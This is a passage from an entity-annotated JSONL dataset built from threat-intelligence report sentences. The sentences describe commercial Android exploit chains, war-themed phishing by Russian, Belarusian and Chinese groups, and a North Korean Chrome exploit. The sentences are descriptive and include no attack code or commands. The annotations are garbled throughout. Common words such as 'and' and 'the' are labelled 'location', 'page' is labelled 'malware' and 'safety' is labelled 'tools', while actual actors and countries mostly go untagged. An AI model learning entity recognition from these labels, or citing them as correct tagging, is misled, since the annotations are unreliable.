below.","entities":[{"id":18185,"label":"location","start_offset":42,"end_offset":46},{"id":18189,"label":"location","start_offset":100,"end_offset":103},{"id":18192,"label":"location","start_offset":208,"end_offset":218},{"id":18194,"label":"location","start_offset":306,"end_offset":309},{"id":18195,"label":"location","start_offset":362,"end_offset":366}],"relations":[],"Comments":[]} -{"id":5921,"text":"Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.","entities":[{"id":18199,"label":"location","start_offset":52,"end_offset":58},{"id":18200,"label":"location","start_offset":110,"end_offset":113},{"id":18208,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]} -{"id":5922,"text":"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.","entities":[{"id":18212,"label":"location","start_offset":94,"end_offset":98},{"id":18213,"label":"location","start_offset":110,"end_offset":117},{"id":18214,"label":"location","start_offset":174,"end_offset":182},{"id":18215,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]} -{"id":5923,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[{"id":18216,"label":"location","start_offset":120,"end_offset":124},{"id":18217,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]} -{"id":5924,"text":"Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":18222,"label":"location","start_offset":107,"end_offset":110},{"id":18223,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} -{"id":5925,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":18226,"label":"location","start_offset":59,"end_offset":65},{"id":18227,"label":"location","start_offset":84,"end_offset":87},{"id":18228,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]} -{"id":5926,"text":"All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.","entities":[{"id":18231,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]} -{"id":5927,"text":"The campaigns were limited — in each case, we assess the number of targets was in the tens of users.","entities":[{"id":18232,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]} -{"id":5928,"text":"Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.","entities":[{"id":18234,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]} {"id":5929,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]} -{"id":5930,"text":"We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.","entities":[{"id":18235,"label":"location","start_offset":51,"end_offset":54},{"id":18236,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]} {"id":5931,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":18237,"label":"malware","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]} {"id":5932,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":18242,"label":"malware","start_offset":0,"end_offset":5},{"id":18243,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]} -{"id":5933,"text":"These commands include recording audio, adding CA certificates, and hiding apps.","entities":[{"id":18244,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]} -{"id":5934,"text":"The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.","entities":[{"id":18246,"label":"location","start_offset":10,"end_offset":18},{"id":18250,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":5935,"text":"This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.","entities":[{"id":18251,"label":"location","start_offset":29,"end_offset":32},{"id":18252,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]} {"id":5936,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":18253,"label":"location","start_offset":144,"end_offset":148},{"id":18255,"label":"location","start_offset":236,"end_offset":239},{"id":18256,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]} -{"id":5937,"text":"We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.","entities":[{"id":18257,"label":"location","start_offset":20,"end_offset":30},{"id":18258,"label":"location","start_offset":80,"end_offset":83},{"id":18260,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]} -{"id":5938,"text":"More technical details about this vulnerability are available in this RCA by Maddie Stone.","entities":[{"id":18261,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} {"id":5939,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]} -{"id":5940,"text":"In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.","entities":[{"id":18265,"label":"location","start_offset":34,"end_offset":42},{"id":18266,"label":"location","start_offset":98,"end_offset":102},{"id":18268,"label":"location","start_offset":111,"end_offset":117},{"id":18269,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} {"id":5941,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]} -{"id":5942,"text":"The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.","entities":[{"id":18271,"label":"location","start_offset":79,"end_offset":82},{"id":18273,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]} -{"id":5943,"text":"This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.","entities":[{"id":18274,"label":"location","start_offset":5,"end_offset":10},{"id":18275,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]} -{"id":5944,"text":"Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in \/data\/data\/com.android.chrome\/p.so to elevate privileges and install the implant.","entities":[{"id":18278,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]} {"id":5945,"text":"We haven’t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]} {"id":5946,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]} -{"id":5947,"text":"In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.","entities":[{"id":18280,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]} -{"id":5948,"text":"The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.","entities":[{"id":18284,"label":"location","start_offset":57,"end_offset":61},{"id":18287,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]} -{"id":5949,"text":"The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.","entities":[{"id":18288,"label":"location","start_offset":32,"end_offset":40},{"id":18289,"label":"location","start_offset":41,"end_offset":46},{"id":18290,"label":"location","start_offset":47,"end_offset":50},{"id":18291,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]} -{"id":5950,"text":"At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.","entities":[{"id":18293,"label":"location","start_offset":7,"end_offset":11},{"id":18296,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":5951,"text":"Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.","entities":[{"id":18298,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]} -{"id":5952,"text":"In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.","entities":[{"id":18300,"label":"location","start_offset":44,"end_offset":52},{"id":18301,"label":"location","start_offset":53,"end_offset":58},{"id":18302,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]} -{"id":5953,"text":"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.","entities":[{"id":18304,"label":"location","start_offset":10,"end_offset":13},{"id":18305,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]} {"id":5954,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]} -{"id":5955,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.","entities":[{"id":18306,"label":"location","start_offset":45,"end_offset":50},{"id":18307,"label":"location","start_offset":60,"end_offset":63},{"id":18310,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} {"id":5956,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]} -{"id":5957,"text":"TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":18313,"label":"location","start_offset":57,"end_offset":63},{"id":18314,"label":"location","start_offset":82,"end_offset":85},{"id":18315,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]} {"id":5958,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":18316,"label":"location","start_offset":36,"end_offset":45},{"id":18317,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]} -{"id":5959,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.","entities":[{"id":18318,"label":"location","start_offset":62,"end_offset":70},{"id":18319,"label":"location","start_offset":71,"end_offset":75},{"id":18320,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]} {"id":5960,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":18321,"label":"location","start_offset":53,"end_offset":56},{"id":18322,"label":"tools","start_offset":71,"end_offset":77},{"id":18323,"label":"location","start_offset":78,"end_offset":81},{"id":18324,"label":"location","start_offset":82,"end_offset":90},{"id":18325,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]} {"id":5961,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]} -{"id":5962,"text":"Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":18331,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} {"id":5963,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":18333,"label":"location","start_offset":97,"end_offset":100},{"id":18334,"label":"location","start_offset":106,"end_offset":110},{"id":18335,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":18336,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} -{"id":5964,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[{"id":18337,"label":"location","start_offset":75,"end_offset":81},{"id":18338,"label":"location","start_offset":125,"end_offset":128},{"id":18339,"label":"location","start_offset":129,"end_offset":132},{"id":18340,"label":"location","start_offset":133,"end_offset":136},{"id":18341,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]} -{"id":5965,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":18345,"label":"location","start_offset":55,"end_offset":58},{"id":18348,"label":"location","start_offset":133,"end_offset":136},{"id":18349,"label":"location","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]} -{"id":5966,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[{"id":18350,"label":"location","start_offset":22,"end_offset":25},{"id":18351,"label":"location","start_offset":42,"end_offset":45},{"id":18352,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]} {"id":5967,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]} -{"id":5968,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[{"id":18355,"label":"location","start_offset":21,"end_offset":24},{"id":18356,"label":"location","start_offset":41,"end_offset":48},{"id":18357,"label":"location","start_offset":103,"end_offset":109},{"id":18358,"label":"location","start_offset":110,"end_offset":116},{"id":18359,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]} -{"id":5969,"text":"Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.","entities":[{"id":18360,"label":"location","start_offset":29,"end_offset":37},{"id":18361,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]} -{"id":5970,"text":"The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.","entities":[{"id":18368,"label":"location","start_offset":158,"end_offset":161},{"id":18371,"label":"location","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]} {"id":5971,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]} {"id":5972,"text":"Malware samples:","entities":[],"relations":[],"Comments":[]} {"id":5973,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]} -{"id":5974,"text":"Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.","entities":[{"id":18378,"label":"location","start_offset":111,"end_offset":114},{"id":18379,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]} -{"id":5975,"text":"Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.","entities":[{"id":18380,"label":"location","start_offset":75,"end_offset":78},{"id":18381,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]} -{"id":5976,"text":"When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.","entities":[{"id":18382,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} {"id":5977,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":18388,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":18390,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]} -{"id":5978,"text":"The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":18392,"label":"location","start_offset":31,"end_offset":34},{"id":18393,"label":"location","start_offset":72,"end_offset":75},{"id":18394,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} {"id":5979,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":18395,"label":"location","start_offset":32,"end_offset":35},{"id":18396,"label":"attack-pattern","start_offset":111,"end_offset":119},{"id":18398,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]} {"id":5980,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":18401,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]} {"id":5981,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":18402,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":18404,"label":"location","start_offset":129,"end_offset":132},{"id":18405,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]} {"id":5982,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":18406,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":18407,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":18408,"label":"tools","start_offset":57,"end_offset":68},{"id":18410,"label":"location","start_offset":142,"end_offset":145},{"id":18411,"label":"location","start_offset":146,"end_offset":149},{"id":18413,"label":"attack-pattern","start_offset":210,"end_offset":218}],"relations":[],"Comments":[]} {"id":5983,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":18414,"label":"location","start_offset":5,"end_offset":13},{"id":18417,"label":"attack-pattern","start_offset":129,"end_offset":137},{"id":18418,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]} {"id":5984,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]} -{"id":5985,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[{"id":18419,"label":"location","start_offset":45,"end_offset":53},{"id":18420,"label":"location","start_offset":54,"end_offset":57},{"id":18422,"label":"location","start_offset":65,"end_offset":69},{"id":18423,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]} -{"id":5986,"text":"Both pages from this campaign are shown below.","entities":[{"id":18425,"label":"location","start_offset":21,"end_offset":29},{"id":18426,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} {"id":5987,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":18430,"label":"attack-pattern","start_offset":52,"end_offset":60},{"id":18431,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]} -{"id":5988,"text":"The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.","entities":[{"id":18435,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]} {"id":5989,"text":"Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.","entities":[{"id":18436,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":18437,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":18438,"label":"location","start_offset":58,"end_offset":61},{"id":18443,"label":"location","start_offset":188,"end_offset":191},{"id":18446,"label":"location","start_offset":239,"end_offset":242}],"relations":[],"Comments":[]} -{"id":5990,"text":"In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.","entities":[{"id":18449,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]} -{"id":5991,"text":"Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.","entities":[{"id":18454,"label":"location","start_offset":105,"end_offset":108},{"id":18455,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} {"id":5992,"text":" Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":18457,"label":"location","start_offset":41,"end_offset":44},{"id":18458,"label":"threat-actor","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]} -{"id":5993,"text":"We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":18460,"label":"location","start_offset":32,"end_offset":35},{"id":18461,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]} -{"id":5994,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[{"id":18462,"label":"location","start_offset":75,"end_offset":79},{"id":18463,"label":"location","start_offset":89,"end_offset":92},{"id":18464,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} {"id":5995,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":18465,"label":"tools","start_offset":61,"end_offset":67},{"id":18466,"label":"location","start_offset":68,"end_offset":71},{"id":18467,"label":"location","start_offset":72,"end_offset":80},{"id":18468,"label":"location","start_offset":94,"end_offset":97},{"id":18469,"label":"location","start_offset":122,"end_offset":126},{"id":18470,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} -{"id":5996,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[{"id":18471,"label":"location","start_offset":23,"end_offset":29},{"id":18472,"label":"location","start_offset":51,"end_offset":54},{"id":18473,"label":"location","start_offset":101,"end_offset":109},{"id":18474,"label":"location","start_offset":110,"end_offset":113},{"id":18475,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]} {"id":5997,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":18476,"label":"location","start_offset":9,"end_offset":12},{"id":18478,"label":"location","start_offset":61,"end_offset":64},{"id":18480,"label":"identity","start_offset":91,"end_offset":95},{"id":18481,"label":"location","start_offset":223,"end_offset":229}],"relations":[],"Comments":[]} -{"id":5998,"text":"In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":18486,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} {"id":5999,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":18489,"label":"location","start_offset":97,"end_offset":100},{"id":18490,"label":"location","start_offset":106,"end_offset":110},{"id":18491,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":18492,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} -{"id":6000,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":18496,"label":"location","start_offset":55,"end_offset":58},{"id":18499,"label":"location","start_offset":133,"end_offset":136},{"id":18500,"label":"location","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]} -{"id":6001,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[{"id":18501,"label":"location","start_offset":22,"end_offset":25},{"id":18502,"label":"location","start_offset":42,"end_offset":45},{"id":18503,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]} -{"id":6002,"text":"For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.","entities":[{"id":18505,"label":"location","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]} {"id":6003,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[],"relations":[],"Comments":[]} {"id":6004,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]} -{"id":6005,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[{"id":18509,"label":"location","start_offset":21,"end_offset":24},{"id":18510,"label":"location","start_offset":41,"end_offset":48},{"id":18511,"label":"location","start_offset":104,"end_offset":110},{"id":18512,"label":"location","start_offset":111,"end_offset":117},{"id":18513,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]} -{"id":6006,"text":"Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.","entities":[{"id":18514,"label":"location","start_offset":29,"end_offset":37},{"id":18521,"label":"location","start_offset":190,"end_offset":193},{"id":18525,"label":"location","start_offset":249,"end_offset":252}],"relations":[],"Comments":[]} -{"id":6007,"text":"While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.","entities":[{"id":18527,"label":"location","start_offset":37,"end_offset":43},{"id":18529,"label":"location","start_offset":79,"end_offset":82},{"id":18530,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]} {"id":6008,"text":"Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.","entities":[{"id":18535,"label":"attack-pattern","start_offset":153,"end_offset":161},{"id":18537,"label":"location","start_offset":205,"end_offset":208},{"id":18539,"label":"location","start_offset":257,"end_offset":260}],"relations":[],"Comments":[]} -{"id":6009,"text":"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.","entities":[{"id":18542,"label":"location","start_offset":23,"end_offset":27},{"id":18546,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]} -{"id":6010,"text":"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.","entities":[{"id":18549,"label":"location","start_offset":92,"end_offset":99}],"relations":[],"Comments":[]} {"id":6011,"text":"We have not observed any Gmail accounts successfully compromised during these campaigns.","entities":[],"relations":[],"Comments":[]} {"id":6012,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.","entities":[{"id":18551,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":18552,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":18553,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":18555,"label":"attack-pattern","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]} {"id":6013,"text":"In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.","entities":[{"id":18557,"label":"location","start_offset":16,"end_offset":24},{"id":18558,"label":"location","start_offset":52,"end_offset":56},{"id":18559,"label":"attack-pattern","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]} {"id":6014,"text":"While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.","entities":[{"id":18560,"label":"location","start_offset":102,"end_offset":107},{"id":18561,"label":"location","start_offset":131,"end_offset":135},{"id":18562,"label":"attack-pattern","start_offset":182,"end_offset":190}],"relations":[],"Comments":[]} {"id":6015,"text":"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.","entities":[{"id":18563,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":18564,"label":"attack-pattern","start_offset":130,"end_offset":138},{"id":18565,"label":"location","start_offset":139,"end_offset":146},{"id":18566,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]} {"id":6016,"text":"The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.","entities":[{"id":18567,"label":"malware","start_offset":50,"end_offset":54},{"id":18569,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]} -{"id":6017,"text":"Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.","entities":[{"id":18570,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} {"id":6018,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":18572,"label":"attack-pattern","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]} {"id":6019,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":18573,"label":"tools","start_offset":61,"end_offset":67},{"id":18574,"label":"location","start_offset":68,"end_offset":71},{"id":18575,"label":"location","start_offset":72,"end_offset":80},{"id":18576,"label":"location","start_offset":94,"end_offset":97},{"id":18577,"label":"location","start_offset":122,"end_offset":126},{"id":18578,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} -{"id":6020,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[{"id":18579,"label":"location","start_offset":23,"end_offset":29},{"id":18580,"label":"location","start_offset":51,"end_offset":54},{"id":18581,"label":"location","start_offset":101,"end_offset":109},{"id":18582,"label":"location","start_offset":110,"end_offset":113},{"id":18583,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]} {"id":6021,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":18584,"label":"location","start_offset":9,"end_offset":12},{"id":18586,"label":"location","start_offset":61,"end_offset":64},{"id":18588,"label":"identity","start_offset":91,"end_offset":95},{"id":18589,"label":"location","start_offset":223,"end_offset":229}],"relations":[],"Comments":[]} -{"id":6022,"text":"On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.","entities":[{"id":18594,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]} -{"id":6023,"text":"These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.","entities":[{"id":18597,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} -{"id":6024,"text":"We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.","entities":[{"id":18600,"label":"location","start_offset":75,"end_offset":80},{"id":18601,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":6025,"text":"However, other organizations and countries may have been targeted.","entities":[{"id":18602,"label":"location","start_offset":29,"end_offset":32},{"id":18603,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]} -{"id":6026,"text":"One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last 